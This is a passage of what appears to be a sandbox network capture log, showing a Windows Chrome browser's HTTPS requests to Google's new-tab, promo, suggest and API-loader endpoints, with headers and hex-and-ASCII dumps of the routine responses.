2025-01-13 19:18:15 UTC	1390	IN	Data Raw: 53 6e 46 6e 54 33 64 6d 5a 46 51 31 54 6a 49 76 59 6b 68 53 59 56 64 76 61 32 74 6a 54 45 67 30 64 33 52 74 52 6e 55 7a 5a 6b 68 61 5a 6b 52 68 4d 6b 74 55 53 31 64 77 53 6c 70 5a 4e 55 74 35 51 58 70 78 4e 56 5a 59 55 56 4a 73 65 47 55 30 4f 46 4a 42 4e 32 5a 71 52 6b 6c 31 56 6b 39 75 62 57 4a 71 57 57 78 61 53 32 4a 6b 5a 6c 56 53 56 58 52 51 56 48 52 50 57 54 46 6a 59 33 68 53 59 33 49 76 51 55 52 79 4c 30 46 47 61 44 64 73 5a 46 4a 49 55 56 5a 6a 51 56 70 77 64 32 52 58 63 46 4a 47 4c 33 64 43 62 45 4a 51 4d 6e 68 36 61 58 46 71 61 6c 64 32 62 7a 5a 32 54 44 5a 4e 4d 45 35 4d 52 31 70 48 4d 45 35 49 65 53 74 5a 54 6b 78 46 4d 6b 4a 51 5a 6e 51 32 62 6b 56 32 55 7a 56 79 56 6c 70 6f 56 58 70 54 63 6c 4e 54 55 58 42 52 63 56 70 6e 55 32 5a 49 63 55 45 Data Ascii: SnFnT3dmZFQ1TjIvYkhSYVdva2tjTEg0d3RtRnUzZkhaZkRhMktUS1dwSlpZNUt5QXpxNVZYUVJseGU0OFJBN2ZqRkl1Vk9ubWJqWWxaS2JkZlVSVXRQVHRPWTFjY3hSY3IvQURyL0FGaDdsZFJIUVZjQVpwd2RXcFJGL3dCbEJQMnh6aXFqald2bzZ2TDZNME5MR1pHME5IeStZTkxFMkJQZnQ2bkV2UzVyVlpoVXpTclNTUXBRcVpnU2ZIcUE
2025-01-13 19:18:15 UTC	640	IN	Data Raw: 70 59 62 55 56 54 55 30 4a 54 4d 57 6c 4f 61 44 56 74 4e 54 5a 5a 62 6e 42 74 61 46 6c 57 56 57 4e 71 51 6c 4e 73 59 53 74 33 57 46 5a 7a 5a 54 6c 32 64 6d 68 50 53 55 4a 73 63 56 64 31 54 6e 5a 46 4d 30 39 4f 55 32 5a 75 4e 47 35 78 4d 43 74 68 55 6b 78 4b 53 46 45 77 4d 47 6c 30 4e 45 46 59 57 57 4a 71 59 32 70 78 5a 6c 56 68 63 31 51 72 59 6c 5a 74 57 56 56 74 5a 58 52 58 64 46 5a 44 62 6a 42 6f 5a 6d 68 76 56 6c 46 32 63 6d 6f 32 51 6d 31 49 65 57 63 7a 51 6a 4d 32 4e 46 52 6a 55 48 6c 4b 51 6b 34 34 54 6b 52 44 63 30 74 76 61 58 56 35 61 6e 55 35 63 6b 5a 79 4b 33 52 79 4e 45 6c 36 62 58 46 78 63 33 6b 30 61 30 5a 47 56 47 46 48 54 55 56 68 4d 44 5a 44 55 7a 52 43 51 79 74 4c 4c 32 67 7a 4e 6e 4d 7a 4d 48 63 35 52 6b 63 77 65 58 4e 36 54 57 52 5a 55 Data Ascii: pYbUVTU0JTMWlOaDVtNTZZbnBtaFlWVWNqQlNsYSt3WFZzZTl2dmhPSUJscVd1TnZFM09OU2ZuNG5xMCthUkxKSFEwMGl0NEFYWWJqY2pxZlVhc1QrYlZtWVVtZXRXdFZDbjBoZmhvVlF2cmo2Qm1IeWczQjM2NFRjUHlKQk44TkRDc0tvaXV5anU5ckZyK3RyNEl6bXFxc3k0a0ZGVGFHTUVhMDZDUzRCQytLL2gzNnMzMHc5RkcweXN6TWRZU
2025-01-13 19:18:15 UTC	87	IN	Data Raw: 35 31 0d 0a 59 58 6b 67 54 6d 6c 6e 61 48 51 67 55 6b 46 58 53 67 63 6a 59 54 4d 77 4f 44 45 30 55 69 39 6e 63 31 39 7a 63 33 41 39 5a 55 70 36 61 6a 52 30 56 46 41 78 56 47 4e 33 63 32 6c 71 53 6e 70 55 53 6d 63 35 52 30 6c 32 54 44 41 35 56 6b 74 46 62 0d 0a Data Ascii: 51YXkgTmlnaHQgUkFXSgcjYTMwODE0Ui9nc19zc3A9ZUp6ajR0VFAxVGN3c2lqSnpUSmc5R0l2TDA5VktFb
2025-01-13 19:18:15 UTC	455	IN	Data Raw: 31 63 30 0d 0a 33 4e 43 64 30 45 33 54 55 46 5a 52 48 41 54 22 2c 22 7a 6c 22 3a 31 30 30 30 32 7d 2c 7b 22 7a 6c 22 3a 31 30 30 30 32 7d 2c 7b 22 7a 6c 22 3a 31 30 30 30 32 7d 2c 7b 22 7a 6c 22 3a 31 30 30 30 32 7d 2c 7b 22 7a 6c 22 3a 31 30 30 30 32 7d 2c 7b 22 7a 6c 22 3a 31 30 30 30 32 7d 2c 7b 22 7a 6c 22 3a 31 30 30 30 32 7d 2c 7b 22 7a 6c 22 3a 31 30 30 30 32 7d 5d 2c 22 67 6f 6f 67 6c 65 3a 73 75 67 67 65 73 74 65 76 65 6e 74 69 64 22 3a 22 2d 35 30 34 37 39 35 38 31 35 32 31 34 35 31 32 30 33 39 37 22 2c 22 67 6f 6f 67 6c 65 3a 73 75 67 67 65 73 74 72 65 6c 65 76 61 6e 63 65 22 3a 5b 31 32 35 37 2c 31 32 35 36 2c 31 32 35 35 2c 31 32 35 34 2c 31 32 35 33 2c 31 32 35 32 2c 31 32 35 31 2c 31 32 35 30 5d 2c 22 67 6f 6f 67 6c 65 3a 73 75 67 67 65 73 Data Ascii: 1c03NCd0E3TUFZRHAT","zl":10002},{"zl":10002},{"zl":10002},{"zl":10002},{"zl":10002},{"zl":10002},{"zl":10002},{"zl":10002}],"google:suggesteventid":"-5047958152145120397","google:suggestrelevance":[1257,1256,1255,1254,1253,1252,1251,1250],"google:sugges
2025-01-13 19:18:15 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.5	49730	172.217.18.100	443	7364	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-13 19:18:16 UTC	518	OUT	GET /async/newtab_ogb?hl=en-US&async=fixed:0 HTTP/1.1 Host: www.google.com Connection: keep-alive X-Client-Data: CIe2yQEIprbJAQipncoBCMDdygEIkqHLAQiFoM0BCNy9zQEI2sPNAQjpxc0BCLnKzQEIv9HNAQiK080BCNDWzQEIqNjNAQj5wNQVGI/OzQEYutLNARjC2M0BGOuNpRc= Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-13 19:18:16 UTC	1018	IN	HTTP/1.1 200 OK Version: 713742394 Content-Type: application/json; charset=UTF-8 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/none"}]} Accept-CH: Sec-CH-Prefers-Color-Scheme Accept-CH: Sec-CH-UA-Form-Factors Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-Full-Version Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-WoW64 Permissions-Policy: unload=() Content-Disposition: attachment; filename="f.txt" Date: Mon, 13 Jan 2025 19:18:16 GMT Server: gws X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2025-01-13 19:18:16 UTC	372	IN	Data Raw: 31 63 63 38 0d 0a 29 5d 7d 27 0a 7b 22 75 70 64 61 74 65 22 3a 7b 22 6c 61 6e 67 75 61 67 65 5f 63 6f 64 65 22 3a 22 65 6e 2d 55 53 22 2c 22 6f 67 62 22 3a 7b 22 68 74 6d 6c 22 3a 7b 22 70 72 69 76 61 74 65 5f 64 6f 5f 6e 6f 74 5f 61 63 63 65 73 73 5f 6f 72 5f 65 6c 73 65 5f 73 61 66 65 5f 68 74 6d 6c 5f 77 72 61 70 70 65 64 5f 76 61 6c 75 65 22 3a 22 5c 75 30 30 33 63 68 65 61 64 65 72 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 45 61 20 67 62 5f 32 64 20 67 62 5f 51 65 20 67 62 5f 71 64 5c 22 20 69 64 5c 75 30 30 33 64 5c 22 67 62 5c 22 20 72 6f 6c 65 5c 75 30 30 33 64 5c 22 62 61 6e 6e 65 72 5c 22 20 73 74 79 6c 65 5c 75 30 30 33 64 5c 22 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 74 72 61 6e 73 70 61 72 65 6e 74 5c 22 5c 75 30 30 33 65 Data Ascii: 1cc8)]}'{"update":{"language_code":"en-US","ogb":{"html":{"private_do_not_access_or_else_safe_html_wrapped_value":"\u003cheader class\u003d\"gb_Ea gb_2d gb_Qe gb_qd\" id\u003d\"gb\" role\u003d\"banner\" style\u003d\"background-color:transparent\"\u003e
2025-01-13 19:18:16 UTC	1390	IN	Data Raw: 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 77 64 20 67 62 5f 72 64 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 4a 63 20 67 62 5f 51 5c 22 20 61 72 69 61 2d 65 78 70 61 6e 64 65 64 5c 75 30 30 33 64 5c 22 66 61 6c 73 65 5c 22 20 61 72 69 61 2d 6c 61 62 65 6c 5c 75 30 30 33 64 5c 22 4d 61 69 6e 20 6d 65 6e 75 5c 22 20 72 6f 6c 65 5c 75 30 30 33 64 5c 22 62 75 74 74 6f 6e 5c 22 20 74 61 62 69 6e 64 65 78 5c 75 30 30 33 64 5c 22 30 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 73 76 67 20 66 6f 63 75 73 61 62 6c 65 5c 75 30 30 33 64 5c 22 66 61 6c 73 65 5c 22 20 76 69 65 77 62 6f 78 5c 75 30 30 33 64 5c 22 30 20 30 20 32 34 20 32 34 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 70 61 74 68 20 64 5c 75 30 Data Ascii: class\u003d\"gb_wd gb_rd\"\u003e\u003cdiv class\u003d\"gb_Jc gb_Q\" aria-expanded\u003d\"false\" aria-label\u003d\"Main menu\" role\u003d\"button\" tabindex\u003d\"0\"\u003e\u003csvg focusable\u003d\"false\" viewbox\u003d\"0 0 24 24\"\u003e\u003cpath d\u0
2025-01-13 19:18:16 UTC	1390	IN	Data Raw: 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 77 64 20 67 62 5f 38 63 20 67 62 5f 39 63 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 73 70 61 6e 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 75 64 5c 22 20 61 72 69 61 2d 6c 65 76 65 6c 5c 75 30 30 33 64 5c 22 31 5c 22 20 72 6f 6c 65 5c 75 30 30 33 64 5c 22 68 65 61 64 69 6e 67 5c 22 5c 75 30 30 33 65 20 5c 75 30 30 33 63 5c 2f 73 70 61 6e 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 61 64 5c 22 5c 75 30 30 33 65 20 5c 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 30 33 65 5c 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 30 33 65 5c 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 Data Ascii: 003cdiv class\u003d\"gb_wd gb_8c gb_9c\"\u003e\u003cspan class\u003d\"gb_ud\" aria-level\u003d\"1\" role\u003d\"heading\"\u003e \u003c\/span\u003e\u003cdiv class\u003d\"gb_ad\"\u003e \u003c\/div\u003e\u003c\/div\u003e\u003c\/div\u003e\u003cdiv class\u003d
2025-01-13 19:18:16 UTC	1390	IN	Data Raw: 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 44 5c 22 20 66 6f 63 75 73 61 62 6c 65 5c 75 30 30 33 64 5c 22 66 61 6c 73 65 5c 22 20 68 65 69 67 68 74 5c 75 30 30 33 64 5c 22 32 34 70 78 5c 22 20 76 69 65 77 42 6f 78 5c 75 30 30 33 64 5c 22 30 20 2d 39 36 30 20 39 36 30 20 39 36 30 5c 22 20 77 69 64 74 68 5c 75 30 30 33 64 5c 22 32 34 70 78 5c 22 5c 75 30 30 33 65 20 5c 75 30 30 33 63 70 61 74 68 20 64 5c 75 30 30 33 64 5c 22 4d 32 30 39 2d 31 32 30 71 2d 34 32 20 30 2d 37 30 2e 35 2d 32 38 2e 35 54 31 31 30 2d 32 31 37 71 30 2d 31 34 20 33 2d 32 35 2e 35 74 39 2d 32 31 2e 35 6c 32 32 38 2d 33 34 31 71 31 30 2d 31 34 20 31 35 2d 33 31 74 35 2d 33 34 76 2d 31 31 30 68 2d 32 30 71 2d 31 33 20 30 2d 32 31 2e 35 2d 38 2e 35 54 33 32 30 2d 38 31 30 71 30 2d 31 33 20 Data Ascii: ss\u003d\"gb_D\" focusable\u003d\"false\" height\u003d\"24px\" viewBox\u003d\"0 -960 960 960\" width\u003d\"24px\"\u003e \u003cpath d\u003d\"M209-120q-42 0-70.5-28.5T110-217q0-14 3-25.5t9-21.5l228-341q10-14 15-31t5-34v-110h-20q-13 0-21.5-8.5T320-810q0-13
2025-01-13 19:18:16 UTC	1390	IN	Data Raw: 31 2c 30 20 32 2c 2d 30 2e 39 20 32 2c 2d 32 73 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 20 30 2e 39 2c 32 20 32 2c 32 7a 4d 31 36 2c 36 63 30 2c 31 2e 31 20 30 2e 39 2c 32 20 32 2c 32 73 32 2c 2d 30 2e 39 20 32 2c 2d 32 20 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 7a 4d 31 32 2c 38 63 31 2e 31 2c 30 20 32 2c 2d 30 2e 39 20 32 2c 2d 32 73 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 20 30 2e 39 2c 32 20 32 2c 32 7a 4d 31 38 2c 31 34 63 31 2e 31 2c 30 20 32 2c 2d 30 2e 39 20 32 2c 2d 32 73 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 20 30 2e 39 2c 32 20 32 2c 32 7a 4d 31 38 2c 32 30 63 31 2e 31 2c 30 20 32 2c 2d 30 2e 39 20 32 2c Data Ascii: 1,0 2,-0.9 2,-2s-0.9,-2 -2,-2 -2,0.9 -2,2 0.9,2 2,2zM16,6c0,1.1 0.9,2 2,2s2,-0.9 2,-2 -0.9,-2 -2,-2 -2,0.9 -2,2zM12,8c1.1,0 2,-0.9 2,-2s-0.9,-2 -2,-2 -2,0.9 -2,2 0.9,2 2,2zM18,14c1.1,0 2,-0.9 2,-2s-0.9,-2 -2,-2 -2,0.9 -2,2 0.9,2 2,2zM18,20c1.1,0 2,-0.9 2,
2025-01-13 19:18:16 UTC	1390	IN	Data Raw: 65 6e 75 2d 63 6f 6e 74 65 6e 74 22 2c 22 6d 65 74 61 64 61 74 61 22 3a 7b 22 62 61 72 5f 68 65 69 67 68 74 22 3a 36 30 2c 22 65 78 70 65 72 69 6d 65 6e 74 5f 69 64 22 3a 5b 33 37 30 30 32 35 35 2c 33 37 30 31 33 38 34 2c 31 30 32 32 36 30 33 30 35 2c 31 30 32 32 37 38 32 30 35 5d 2c 22 69 73 5f 62 61 63 6b 75 70 5f 62 61 72 22 3a 66 61 6c 73 65 7d 2c 22 70 61 67 65 5f 68 6f 6f 6b 73 22 3a 7b 22 61 66 74 65 72 5f 62 61 72 5f 73 63 72 69 70 74 22 3a 7b 22 70 72 69 76 61 74 65 5f 64 6f 5f 6e 6f 74 5f 61 63 63 65 73 73 5f 6f 72 5f 65 6c 73 65 5f 73 61 66 65 5f 73 63 72 69 70 74 5f 77 72 61 70 70 65 64 5f 76 61 6c 75 65 22 3a 22 74 68 69 73 2e 67 62 61 72 5f 5c 75 30 30 33 64 74 68 69 73 2e 67 62 61 72 5f 7c 7c 7b 7d 3b 28 66 75 6e 63 74 69 6f 6e 28 5f 29 7b Data Ascii: enu-content","metadata":{"bar_height":60,"experiment_id":[3700255,3701384,102260305,102278205],"is_backup_bar":false},"page_hooks":{"after_bar_script":{"private_do_not_access_or_else_safe_script_wrapped_value":"this.gbar_\u003dthis.gbar_\|\|{};(function(_){
2025-01-13 19:18:16 UTC	54	IN	Data Raw: 73 74 20 63 5c 75 30 30 33 64 41 72 72 61 79 28 62 29 3b 66 6f 72 28 6c 65 74 20 64 5c 75 30 30 33 64 30 3b 64 5c 75 30 30 33 63 62 3b 64 2b 2b 29 63 5b 64 0d 0a Data Ascii: st c\u003dArray(b);for(let d\u003d0;d\u003cb;d++)c[d
2025-01-13 19:18:16 UTC	291	IN	Data Raw: 31 31 63 0d 0a 5d 5c 75 30 30 33 64 61 5b 64 5d 3b 72 65 74 75 72 6e 20 63 7d 72 65 74 75 72 6e 5b 5d 7d 3b 4b 64 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 6e 65 77 20 5f 2e 4a 64 28 62 5c 75 30 30 33 64 5c 75 30 30 33 65 62 2e 73 75 62 73 74 72 28 30 2c 61 2e 6c 65 6e 67 74 68 2b 31 29 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 5c 75 30 30 33 64 5c 75 30 30 33 64 5c 75 30 30 33 64 61 2b 5c 22 3a 5c 22 29 7d 3b 5f 2e 4c 64 5c 75 30 30 33 64 67 6c 6f 62 61 6c 54 68 69 73 2e 74 72 75 73 74 65 64 54 79 70 65 73 3b 5f 2e 4d 64 5c 75 30 30 33 64 63 6c 61 73 73 7b 63 6f 6e 73 74 72 75 63 74 6f 72 28 61 29 7b 74 68 69 73 2e 69 5c 75 30 30 33 64 61 7d 74 6f 53 74 72 69 6e 67 28 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 69 7d 7d 3b Data Ascii: 11c]\u003da[d];return c}return[]};Kd\u003dfunction(a){return new _.Jd(b\u003d\u003eb.substr(0,a.length+1).toLowerCase()\u003d\u003d\u003da+\":\")};_.Ld\u003dglobalThis.trustedTypes;_.Md\u003dclass{constructor(a){this.i\u003da}toString(){return this.i}};
2025-01-13 19:18:16 UTC	1390	IN	Data Raw: 38 30 30 30 0d 0a 23 7a 43 6c 6f 73 75 72 65 7a 5c 22 29 3b 5f 2e 4a 64 5c 75 30 30 33 64 63 6c 61 73 73 7b 63 6f 6e 73 74 72 75 63 74 6f 72 28 61 29 7b 74 68 69 73 2e 6e 68 5c 75 30 30 33 64 61 7d 7d 3b 5f 2e 4f 64 5c 75 30 30 33 64 5b 4b 64 28 5c 22 64 61 74 61 5c 22 29 2c 4b 64 28 5c 22 68 74 74 70 5c 22 29 2c 4b 64 28 5c 22 68 74 74 70 73 5c 22 29 2c 4b 64 28 5c 22 6d 61 69 6c 74 6f 5c 22 29 2c 4b 64 28 5c 22 66 74 70 5c 22 29 2c 6e 65 77 20 5f 2e 4a 64 28 61 5c 75 30 30 33 64 5c 75 30 30 33 65 2f 5e 5b 5e 3a 5d 2a 28 5b 2f 3f 23 5d 7c 24 29 2f 2e 74 65 73 74 28 61 29 29 5d 3b 5f 2e 50 64 5c 75 30 30 33 64 63 6c 61 73 73 7b 63 6f 6e 73 74 72 75 63 74 6f 72 28 61 29 7b 74 68 69 73 2e 69 5c 75 30 30 33 64 61 7d 74 6f 53 74 72 69 6e 67 28 29 7b 72 65 74 Data Ascii: 8000#zClosurez\");_.Jd\u003dclass{constructor(a){this.nh\u003da}};_.Od\u003d[Kd(\"data\"),Kd(\"http\"),Kd(\"https\"),Kd(\"mailto\"),Kd(\"ftp\"),new _.Jd(a\u003d\u003e/^[^:]*([/?#]\|$)/.test(a))];_.Pd\u003dclass{constructor(a){this.i\u003da}toString(){ret
2025-01-13 19:18:16 UTC	1390	IN	Data Raw: 64 6e 75 6c 6c 3f 76 6f 69 64 20 30 3a 64 2e 63 61 6c 6c 28 63 2c 60 24 7b 61 7d 5b 6e 6f 6e 63 65 5d 60 29 3b 72 65 74 75 72 6e 20 62 5c 75 30 30 33 64 5c 75 30 30 33 64 6e 75 6c 6c 3f 5c 22 5c 22 3a 62 2e 6e 6f 6e 63 65 7c 7c 62 2e 67 65 74 41 74 74 72 69 62 75 74 65 28 5c 22 6e 6f 6e 63 65 5c 22 29 7c 7c 5c 22 5c 22 7d 3b 5c 6e 5f 2e 64 65 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 29 7b 76 61 72 20 62 5c 75 30 30 33 64 5f 2e 52 61 28 61 29 3b 72 65 74 75 72 6e 20 62 5c 75 30 30 33 64 5c 75 30 30 33 64 5c 22 61 72 72 61 79 5c 22 7c 7c 62 5c 75 30 30 33 64 5c 75 30 30 33 64 5c 22 6f 62 6a 65 63 74 5c 22 5c 75 30 30 32 36 5c 75 30 30 32 36 74 79 70 65 6f 66 20 61 2e 6c 65 6e 67 74 68 5c 75 30 30 33 64 5c 75 30 30 33 64 5c 22 6e 75 6d 62 65 72 5c 22 Data Ascii: dnull?void 0:d.call(c,`${a}[nonce]`);return b\u003d\u003dnull?\"\":b.nonce\|\|b.getAttribute(\"nonce\")\|\|\"\"};\n_.de\u003dfunction(a){var b\u003d_.Ra(a);return b\u003d\u003d\"array\"\|\|b\u003d\u003d\"object\"\u0026\u0026typeof a.length\u003d\u003d\"number\"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.5	49728	172.217.18.100	443	7364	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-13 19:18:16 UTC	353	OUT	GET /async/newtab_promos HTTP/1.1 Host: www.google.com Connection: keep-alive Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-13 19:18:16 UTC	933	IN	HTTP/1.1 200 OK Version: 713742394 Content-Type: application/json; charset=UTF-8 X-Content-Type-Options: nosniff Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/none"}]} Accept-CH: Sec-CH-UA-Form-Factors Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-Full-Version Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-WoW64 Permissions-Policy: unload=() Content-Disposition: attachment; filename="f.txt" Date: Mon, 13 Jan 2025 19:18:16 GMT Server: gws X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2025-01-13 19:18:16 UTC	35	IN	Data Raw: 31 64 0d 0a 29 5d 7d 27 0a 7b 22 75 70 64 61 74 65 22 3a 7b 22 70 72 6f 6d 6f 73 22 3a 7b 7d 7d 7d 0d 0a Data Ascii: 1d)]}'{"update":{"promos":{}}}
2025-01-13 19:18:16 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.5	49742	142.250.186.46	443	7364	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-13 19:18:19 UTC	733	OUT	GET /_/scs/abc-static/_/js/k=gapi.gapi.en.l2ZUC8FxqV8.O/m=gapi_iframes,googleapis_client/rt=j/sv=1/d=1/ed=1/rs=AHpOoo9xAAkaXO7Lqf7-9uTpZLtrkpWaXQ/cb=gapi.loaded_0 HTTP/1.1 Host: apis.google.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / X-Client-Data: CIe2yQEIprbJAQipncoBCMDdygEIkqHLAQiFoM0BCOnFzQEIucrNAQiK080BGI/OzQEYwtjNARjrjaUX Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-13 19:18:19 UTC	914	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Access-Control-Allow-Origin: * Content-Security-Policy-Report-Only: require-trusted-types-for 'script'; report-uri https://csp.withgoogle.com/csp/social-frontend-mpm-access Cross-Origin-Resource-Policy: cross-origin Cross-Origin-Opener-Policy: same-origin; report-to="social-frontend-mpm-access" Report-To: {"group":"social-frontend-mpm-access","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/social-frontend-mpm-access"}]} Content-Length: 117446 X-Content-Type-Options: nosniff Server: sffe X-XSS-Protection: 0 Date: Mon, 13 Jan 2025 17:01:35 GMT Expires: Tue, 13 Jan 2026 17:01:35 GMT Cache-Control: public, max-age=31536000 Last-Modified: Wed, 08 Jan 2025 15:23:05 GMT Content-Type: text/javascript; charset=UTF-8 Vary: Accept-Encoding Age: 8204 Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2025-01-13 19:18:19 UTC	476	IN	Data Raw: 67 61 70 69 2e 6c 6f 61 64 65 64 5f 30 28 66 75 6e 63 74 69 6f 6e 28 5f 29 7b 76 61 72 20 77 69 6e 64 6f 77 3d 74 68 69 73 3b 0a 5f 2e 5f 46 5f 74 6f 67 67 6c 65 73 5f 69 6e 69 74 69 61 6c 69 7a 65 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 28 74 79 70 65 6f 66 20 67 6c 6f 62 61 6c 54 68 69 73 21 3d 3d 22 75 6e 64 65 66 69 6e 65 64 22 3f 67 6c 6f 62 61 6c 54 68 69 73 3a 74 79 70 65 6f 66 20 73 65 6c 66 21 3d 3d 22 75 6e 64 65 66 69 6e 65 64 22 3f 73 65 6c 66 3a 74 68 69 73 29 2e 5f 46 5f 74 6f 67 67 6c 65 73 3d 61 7c 7c 5b 5d 7d 3b 28 30 2c 5f 2e 5f 46 5f 74 6f 67 67 6c 65 73 5f 69 6e 69 74 69 61 6c 69 7a 65 29 28 5b 5d 29 3b 0a 76 61 72 20 63 61 2c 64 61 2c 68 61 2c 6d 61 2c 78 61 2c 41 61 2c 42 61 3b 63 61 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 76 61 72 20 Data Ascii: gapi.loaded_0(function(_){var window=this;_._F_toggles_initialize=function(a){(typeof globalThis!=="undefined"?globalThis:typeof self!=="undefined"?self:this)._F_toggles=a\|\|[]};(0,_._F_toggles_initialize)([]);var ca,da,ha,ma,xa,Aa,Ba;ca=function(a){var
2025-01-13 19:18:19 UTC	1390	IN	Data Raw: 75 65 3b 72 65 74 75 72 6e 20 61 7d 3b 0a 68 61 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 61 3d 5b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 67 6c 6f 62 61 6c 54 68 69 73 26 26 67 6c 6f 62 61 6c 54 68 69 73 2c 61 2c 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 77 69 6e 64 6f 77 26 26 77 69 6e 64 6f 77 2c 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 73 65 6c 66 26 26 73 65 6c 66 2c 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 67 6c 6f 62 61 6c 26 26 67 6c 6f 62 61 6c 5d 3b 66 6f 72 28 76 61 72 20 62 3d 30 3b 62 3c 61 2e 6c 65 6e 67 74 68 3b 2b 2b 62 29 7b 76 61 72 20 63 3d 61 5b 62 5d 3b 69 66 28 63 26 26 63 2e 4d 61 74 68 3d 3d 4d 61 74 68 29 72 65 74 75 72 6e 20 63 7d 74 68 72 6f 77 20 45 72 72 6f 72 28 22 61 22 29 3b 7d 3b 5f 2e Data Ascii: ue;return a};ha=function(a){a=["object"==typeof globalThis&&globalThis,a,"object"==typeof window&&window,"object"==typeof self&&self,"object"==typeof global&&global];for(var b=0;b<a.length;++b){var c=a[b];if(c&&c.Math==Math)return c}throw Error("a");};_.
